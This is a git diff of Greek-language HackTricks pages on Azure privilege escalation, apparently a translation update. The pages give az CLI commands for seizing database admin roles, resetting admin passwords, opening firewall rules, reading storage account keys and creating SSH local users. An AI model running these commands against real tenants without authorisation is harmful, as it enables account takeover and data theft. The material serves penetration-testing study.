||||
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε τους διαχειριστές Azure Active Directory (AD) για έναν MySQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την ρύθμιση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον MySQL server. Είναι σημαντικό ο flexible-server να έχει ανατεθεί διαχειριζόμενες ταυτότητες χρήστη για να χρησιμοποιηθεί.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε τους διαχειριστές Azure Active Directory (AD) για έναν MySQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την τοποθέτηση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον MySQL server. Είναι σημαντικό ο flexible-server να έχει ανατεθεί διαχειριζόμενες ταυτότητες χρήστη για να χρησιμοποιηθεί.
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -5,15 +5,13 @@
|
||||
## PostgreSQL Privesc
|
||||
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
{{#ref}}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε τις παρουσίες PostgreSQL Flexible Server στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των υπάρχουσων ρυθμίσεων διακομιστή ή την αποσυναρμολόγηση διακομιστών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε τις παρουσίες PostgreSQL Flexible Server στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των υπάρχουσων ρυθμίσεων διακομιστών ή την αποσυναρμολόγηση διακομιστών.
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
@@ -26,34 +24,22 @@ az postgres flexible-server create \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Για παράδειγμα, αυτές οι άδειες επιτρέπουν την αλλαγή του κωδικού πρόσβασης PostgreSQL, χρήσιμο φυσικά σε περίπτωση που η αυθεντικοποίηση PostgreSQL είναι ενεργοποιημένη.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Επιπλέον, είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση αν θέλετε να έχετε πρόσβαση από ένα μη ιδιωτικό σημείο, για να το ενεργοποιήσετε:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
|
||||
Με αυτή την άδεια, μπορείτε να διαμορφώσετε τους διαχειριστές Azure Active Directory (AD) για έναν PostgreSQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την τοποθέτηση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον PostgreSQL server. Η ενημέρωση υπάρχοντος κύριου δεν υποστηρίζεται ακόμα, οπότε αν υπάρχει ένας δημιουργημένος, πρέπει πρώτα να τον διαγράψετε.
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να ρυθμίσετε τους διαχειριστές Azure Active Directory (AD) για έναν PostgreSQL Flexible Server. Αυτό μπορεί να εκμεταλλευτεί με την τοποθέτηση του εαυτού σας ή ενός άλλου λογαριασμού ως τον διαχειριστή AD, παρέχοντας πλήρη διαχειριστικό έλεγχο πάνω στον PostgreSQL server. Η ενημέρωση υπάρχοντος κύριου δεν υποστηρίζεται ακόμα, οπότε αν υπάρχει ένας δημιουργημένος, πρέπει πρώτα να τον διαγράψετε.
|
||||
|
||||
Είναι σημαντικό ο flexible-server να έχει ανατεθεί σε διαχειριζόμενες ταυτότητες χρήστη για να χρησιμοποιηθεί.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Είναι σημαντικό ο flexible-server να έχει ανατεθεί διαχειριζόμενες ταυτότητες χρήστη για χρήση.
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
Αν έχετε αυτές τις άδειες, μπορείτε να αναβαθμίσετε τα προνόμια σας διαβάζοντας ή δημιουργώντας κοινά κλειδιά πρόσβασης. Αυτά τα κλειδιά επιτρέπουν πλήρη έλεγχο πάνω στο Service Bus namespace, συμπεριλαμβανομένης της διαχείρισης ουρών, θεμάτων και αποστολής/λήψης μηνυμάτων, παρακάμπτοντας ενδεχομένως τους ελέγχους πρόσβασης βάσει ρόλων (RBAC).
|
||||
```bash
|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
|
||||
|
||||
Με αυτές τις άδειες, ένας χρήστης μπορεί να εκτελέσει κλιμάκωση προνομίων ενημερώνοντας ή δημιουργώντας Azure SQL servers και τροποποιώντας κρίσιμες ρυθμίσεις, συμπεριλαμβανομένων των διαπιστευτηρίων διαχειριστή. Αυτή η άδεια επιτρέπει στον χρήστη να ενημερώνει τις ιδιότητες του διακομιστή, συμπεριλαμβανομένου του κωδικού πρόσβασης του διαχειριστή SQL server, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή έλεγχο του διακομιστή. Μπορούν επίσης να δημιουργήσουν νέους διακομιστές, ενδεχομένως εισάγοντας σκιασμένη υποδομή για κακόβουλους σκοπούς. Αυτό γίνεται ιδιαίτερα κρίσιμο σε περιβάλλοντα όπου η "Microsoft Entra Authentication Only" είναι απενεργοποιημένη, καθώς μπορούν να εκμεταλλευτούν την SQL-based authentication για να αποκτήσουν απεριόριστη πρόσβαση.
|
||||
Με αυτές τις άδειες, ένας χρήστης μπορεί να εκτελέσει κλιμάκωση προνομίων ενημερώνοντας ή δημιουργώντας Azure SQL servers και τροποποιώντας κρίσιμες ρυθμίσεις, συμπεριλαμβανομένων των διαπιστευτηρίων διαχειριστή. Αυτή η άδεια επιτρέπει στον χρήστη να ενημερώνει τις ιδιότητες του διακομιστή, συμπεριλαμβανομένου του κωδικού πρόσβασης του διαχειριστή SQL, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή έλεγχο του διακομιστή. Μπορούν επίσης να δημιουργήσουν νέους διακομιστές, ενδεχομένως εισάγοντας σκιασμένη υποδομή για κακόβουλους σκοπούς. Αυτό γίνεται ιδιαίτερα κρίσιμο σε περιβάλλοντα όπου η "Microsoft Entra Authentication Only" είναι απενεργοποιημένη, καθώς μπορούν να εκμεταλλευτούν την SQL-based authentication για να αποκτήσουν απεριόριστη πρόσβαση.
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -35,9 +35,9 @@ az sql server update \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
### `Microsoft.Sql/servers/firewallRules/write`
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να χειριστεί τους κανόνες τείχους προστασίας στους Azure SQL servers για να επιτρέψει μη εξουσιοδοτημένη πρόσβαση. Αυτό μπορεί να εκμεταλλευτεί για να ανοίξει τον διακομιστή σε συγκεκριμένες διευθύνσεις IP ή σε ολόκληρες περιοχές διευθύνσεων IP, συμπεριλαμβανομένων των δημόσιων IPs, επιτρέποντας την πρόσβαση σε κακόβουλους παράγοντες. Αυτή η δραστηριότητα μετά την εκμετάλλευση μπορεί να χρησιμοποιηθεί για να παρακαμφθούν οι υπάρχοντες ελέγχοι ασφαλείας δικτύου, να καθιερωθεί επιμονή ή να διευκολυνθεί η οριζόντια κίνηση εντός του περιβάλλοντος εκθέτοντας ευαίσθητους πόρους.
|
||||
Ένας επιτιθέμενος μπορεί να χειριστεί τους κανόνες τείχους προστασίας στους Azure SQL servers για να επιτρέψει μη εξουσιοδοτημένη πρόσβαση. Αυτό μπορεί να εκμεταλλευτεί για να ανοίξει τον διακομιστή σε συγκεκριμένες διευθύνσεις IP ή σε ολόκληρες περιοχές IP, συμπεριλαμβανομένων των δημόσιων IP, επιτρέποντας την πρόσβαση σε κακόβουλους παράγοντες. Αυτή η δραστηριότητα μετά την εκμετάλλευση μπορεί να χρησιμοποιηθεί για να παρακαμφθούν οι υπάρχοντες ελέγχοι ασφαλείας δικτύου, να καθιερωθεί επιμονή ή να διευκολυνθεί η πλευρική κίνηση εντός του περιβάλλοντος εκθέτοντας ευαίσθητους πόρους.
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
@@ -58,9 +58,9 @@ az sql server firewall-rule update \
|
||||
Επιπλέον, η άδεια `Microsoft.Sql/servers/outboundFirewallRules/delete` σας επιτρέπει να διαγράψετε έναν κανόνα τείχους προστασίας.
|
||||
ΣΗΜΕΙΩΣΗ: Είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση.
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να τροποποιήσετε ή να διαγράψετε κανόνες τείχους προστασίας IPv6 σε έναν Azure SQL Server. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο ή εξουσιοδοτημένο χρήστη να παρακάμψει τις υπάρχουσες ρυθμίσεις ασφαλείας δικτύου και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον διακομιστή. Προσθέτοντας έναν κανόνα που επιτρέπει την κυκλοφορία από οποιαδήποτε διεύθυνση IPv6, ο επιτιθέμενος θα μπορούσε να ανοίξει τον διακομιστή σε εξωτερική πρόσβαση.
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να τροποποιήσετε ή να διαγράψετε κανόνες τείχους προστασίας IPv6 σε έναν Azure SQL Server. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο ή εξουσιοδοτημένο χρήστη να παρακάμψει τις υπάρχουσες ρυθμίσεις ασφαλείας δικτύου και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον διακομιστή. Προσθέτοντας έναν κανόνα που επιτρέπει την κυκλοφορία από οποιαδήποτε διεύθυνση IPv6, ο επιτιθέμενος θα μπορούσε να ανοίξει τον διακομιστή για εξωτερική πρόσβαση.
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
@@ -72,9 +72,9 @@ az sql server firewall-rule create \
|
||||
Επιπλέον, η άδεια `Microsoft.Sql/servers/ipv6FirewallRules/delete` σας επιτρέπει να διαγράψετε έναν κανόνα τείχους προστασίας.
|
||||
ΣΗΜΕΙΩΣΗ: Είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση.
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
|
||||
|
||||
Με αυτές τις άδειες μπορείτε να κάνετε privesc σε ένα περιβάλλον Azure SQL Server αποκτώντας πρόσβαση σε SQL βάσεις δεδομένων και ανακτώντας κρίσιμες πληροφορίες. Χρησιμοποιώντας την παρακάτω εντολή, ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης μπορεί να ορίσει τον εαυτό του ή έναν άλλο λογαριασμό ως τον διαχειριστή Azure AD. Εάν είναι ενεργοποιημένη η "Μόνο Αυθεντικοποίηση Microsoft Entra", μπορείτε να αποκτήσετε πρόσβαση στον διακομιστή και τις παρουσίες του. Ακολουθεί η εντολή για να ορίσετε τον διαχειριστή Azure AD για έναν SQL διακομιστή:
|
||||
Με αυτές τις άδειες μπορείτε να κάνετε privesc σε ένα περιβάλλον Azure SQL Server αποκτώντας πρόσβαση σε SQL βάσεις δεδομένων και ανακτώντας κρίσιμες πληροφορίες. Χρησιμοποιώντας την παρακάτω εντολή, ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης μπορεί να ορίσει τον εαυτό του ή έναν άλλο λογαριασμό ως διαχειριστή Azure AD. Εάν είναι ενεργοποιημένη η "Μόνο Αυθεντικοποίηση Microsoft Entra", μπορείτε να αποκτήσετε πρόσβαση στον διακομιστή και τις παρουσίες του. Ακολουθεί η εντολή για να ορίσετε τον διαχειριστή Azure AD για έναν SQL διακομιστή:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
@@ -82,7 +82,7 @@ az sql server ad-admin create \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
|
||||
|
||||
Με αυτές τις άδειες, μπορείτε να ρυθμίσετε και να επιβάλετε την "Μόνο Αυθεντικοποίηση Microsoft Entra" σε έναν Azure SQL Server, κάτι που θα μπορούσε να διευκολύνει την κλιμάκωση προνομίων σε ορισμένα σενάρια. Ένας επιτιθέμενος ή ένας εξουσιοδοτημένος χρήστης με αυτές τις άδειες μπορεί να ενεργοποιήσει ή να απενεργοποιήσει την αυθεντικοποίηση μόνο μέσω Azure AD.
|
||||
```bash
|
||||
|
||||
@@ -10,21 +10,21 @@
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
### `Microsoft.Storage/storageAccounts/listkeys/action`
|
||||
|
||||
Ένας κύριος με αυτή την άδεια θα είναι σε θέση να καταγράψει (και τις μυστικές τιμές) των **access keys** των λογαριασμών αποθήκευσης. Επιτρέποντας στον κύριο να κλιμακώσει τα προνόμιά του στους λογαριασμούς αποθήκευσης.
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
|
||||
|
||||
Ένας κύριος με αυτή την άδεια θα είναι σε θέση να ανανεώσει και να αποκτήσει την νέα μυστική τιμή των **access keys** των λογαριασμών αποθήκευσης. Επιτρέποντας στον κύριο να κλιμακώσει τα προνόμιά του στους λογαριασμούς αποθήκευσης.
|
||||
Ένας κύριος με αυτή την άδεια θα είναι σε θέση να ανανεώσει και να αποκτήσει την νέα μυστική τιμή των **access keys** των λογαριασμών αποθήκευσης. Επιτρέποντας στον κύριο να κλιμακώσει τα προνόμιά του πάνω στους λογαριασμούς αποθήκευσης.
|
||||
|
||||
Επιπλέον, στην απάντηση, ο χρήστης θα λάβει την τιμή του ανανεωμένου κλειδιού και επίσης του μη ανανεωμένου:
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
### `Microsoft.Storage/storageAccounts/write`
|
||||
|
||||
Ένας κύριος με αυτή την άδεια θα είναι σε θέση να δημιουργήσει ή να ενημερώσει έναν υπάρχοντα λογαριασμό αποθήκευσης ενημερώνοντας οποιαδήποτε ρύθμιση όπως κανόνες δικτύου ή πολιτικές.
|
||||
```bash
|
||||
@@ -36,7 +36,7 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
|
||||
```
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
|
||||
|
||||
Η πρώτη άδεια επιτρέπει να **τροποποιήσετε τις πολιτικές αμεταβλητότητας** σε κοντέινερ και η δεύτερη να τις διαγράψετε.
|
||||
|
||||
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
|
||||
```
|
||||
## File shares specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
|
||||
|
||||
Αυτό θα πρέπει να επιτρέπει σε έναν χρήστη που έχει αυτή την άδεια να μπορεί να αναλάβει την ιδιοκτησία αρχείων μέσα στο κοινόχρηστο σύστημα αρχείων.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
|
||||
|
||||
Αυτό θα πρέπει να επιτρέπει σε έναν χρήστη που έχει αυτή την άδεια να μπορεί να τροποποιήσει τις άδειες αρχείων μέσα στο κοινόχρηστο σύστημα αρχείων.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
|
||||
|
||||
Αυτό θα πρέπει να επιτρέπει σε έναν χρήστη που έχει αυτή την άδεια να μπορεί να εκτελεί ενέργειες μέσα σε ένα σύστημα αρχείων ως υπερχρήστης.
|
||||
Αυτό θα πρέπει να επιτρέπει σε έναν χρήστη που έχει αυτή την άδεια να μπορεί να εκτελεί ενέργειες μέσα σε ένα σύστημα αρχείων ως superuser.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
|
||||
|
||||
Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει (αν έχει την άδεια `Microsoft.Storage/storageAccounts/localusers/read`) έναν νέο τοπικό χρήστη για έναν λογαριασμό Azure Storage (ρυθμισμένο με ιεραρχικό χώρο ονομάτων), συμπεριλαμβανομένου του καθορισμού των αδειών και του καταλόγου αρχικής τοποθεσίας του χρήστη. Αυτή η άδεια είναι σημαντική διότι επιτρέπει στον επιτιθέμενο να παραχωρήσει στον εαυτό του πρόσβαση σε έναν λογαριασμό αποθήκευσης με συγκεκριμένες άδειες όπως ανάγνωση (r), εγγραφή (w), διαγραφή (d) και λίστα (l) και άλλα. Επιπλέον, οι μέθοδοι αυθεντικοποίησης που χρησιμοποιεί μπορεί να είναι κωδικοί πρόσβασης που δημιουργούνται από το Azure και ζεύγη κλειδιών SSH. Δεν υπάρχει έλεγχος αν ένας χρήστης υπάρχει ήδη, οπότε μπορείτε να αντικαταστήσετε άλλους χρήστες που είναι ήδη εκεί. Ο επιτιθέμενος θα μπορούσε να κλιμακώσει τα προνόμιά του και να αποκτήσει πρόσβαση SSH στον λογαριασμό αποθήκευσης, ενδεχομένως εκθέτοντας ή διακυβεύοντας ευαίσθητα δεδομένα.
|
||||
Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει (αν έχει την άδεια `Microsoft.Storage/storageAccounts/localusers/read`) έναν νέο τοπικό χρήστη για έναν λογαριασμό Azure Storage (ρυθμισμένο με ιεραρχικό χώρο ονομάτων), συμπεριλαμβανομένου του καθορισμού των αδειών και του καταλόγου αρχικής τοποθεσίας του χρήστη. Αυτή η άδεια είναι σημαντική γιατί επιτρέπει στον επιτιθέμενο να παραχωρήσει στον εαυτό του πρόσβαση σε έναν λογαριασμό αποθήκευσης με συγκεκριμένες άδειες όπως ανάγνωση (r), εγγραφή (w), διαγραφή (d) και λίστα (l) και άλλα. Επιπλέον, οι μέθοδοι αυθεντικοποίησης που χρησιμοποιεί μπορεί να είναι κωδικοί πρόσβασης που δημιουργούνται από το Azure και ζεύγη κλειδιών SSH. Δεν υπάρχει έλεγχος αν ένας χρήστης υπάρχει ήδη, οπότε μπορείτε να αντικαταστήσετε άλλους χρήστες που είναι ήδη εκεί. Ο επιτιθέμενος θα μπορούσε να κλιμακώσει τα προνόμιά του και να αποκτήσει πρόσβαση SSH στον λογαριασμό αποθήκευσης, ενδεχομένως εκθέτοντας ή διακυβεύοντας ευαίσθητα δεδομένα.
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -80,7 +80,7 @@ az storage account local-user create \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
|
||||
|
||||
Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να αναγεννήσει τον κωδικό πρόσβασης για έναν τοπικό χρήστη σε έναν λογαριασμό Azure Storage. Αυτό δίνει στον επιτιθέμενο τη δυνατότητα να αποκτήσει νέα διαπιστευτήρια αυθεντικοποίησης (όπως έναν κωδικό πρόσβασης SSH ή SFTP) για τον χρήστη. Εκμεταλλευόμενος αυτά τα διαπιστευτήρια, ο επιτιθέμενος θα μπορούσε να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό αποθήκευσης, να εκτελέσει μεταφορές αρχείων ή να χειριστεί δεδομένα εντός των κοντέινερ αποθήκευσης. Αυτό θα μπορούσε να έχει ως αποτέλεσμα διαρροή δεδομένων, διαφθορά ή κακόβουλη τροποποίηση του περιεχομένου του λογαριασμού αποθήκευσης.
|
||||
```bash
|
||||
@@ -94,9 +94,9 @@ az storage account local-user regenerate-password \
|
||||
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
|
||||
|
||||
Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να επαναφέρει ένα διαγραμμένο κοντέινερ καθορίζοντας το ID της διαγραμμένης έκδοσής του ή να αναιρέσει τη διαγραφή συγκεκριμένων blobs εντός ενός κοντέινερ, εάν είχαν προηγουμένως διαγραφεί με ήπιο τρόπο. Αυτή η κλιμάκωση προνομίων θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να ανακτήσει ευαίσθητα δεδομένα που προορίζονταν να διαγραφούν μόνιμα, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να επαναφέρει ένα διαγραμμένο κοντέινερ καθορίζοντας το ID της διαγραμμένης έκδοσής του ή να επαναφέρει συγκεκριμένα blobs μέσα σε ένα κοντέινερ, εάν είχαν προηγουμένως διαγραφεί μαλακά. Αυτή η κλιμάκωση προνομίων θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να ανακτήσει ευαίσθητα δεδομένα που προορίζονταν να διαγραφούν μόνιμα, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
@@ -110,7 +110,7 @@ az storage blob undelete \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
|
||||
|
||||
Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να επαναφέρει μια διαγραμμένη Azure file share καθορίζοντας το ID της διαγραμμένης έκδοσής της. Αυτή η κλιμάκωση προνομίων θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να ανακτήσει ευαίσθητα δεδομένα που προορίζονταν να διαγραφούν μόνιμα, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
```bash
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft για διαχείριση ταυτότητας και πρόσβασης που βασίζεται στο cloud. Είναι καθοριστικής σημασίας για την δυνατότητα των υπαλλήλων να συνδέονται και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτότητας, περιλαμβάνοντας κυρίως **authentication, authorization, and user management**.
|
||||
Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία διαχείρισης ταυτοτήτων και πρόσβασης της Microsoft που βασίζεται στο cloud. Είναι καθοριστικής σημασίας για την δυνατότητα των υπαλλήλων να συνδέονται και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτοποίησης, περιλαμβάνοντας κυρίως **authentication, authorization, and user management**.
|
||||
|
||||
Τα κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, μαζί με απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτά τα χαρακτηριστικά αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και ενδυναμώνουν τις οργανώσεις να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος υπηρεσιών cloud της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση ταυτοτήτων χρηστών που βασίζεται στο cloud.
|
||||
|
||||
@@ -184,7 +184,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να δείτε όλες αυτές** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**.
|
||||
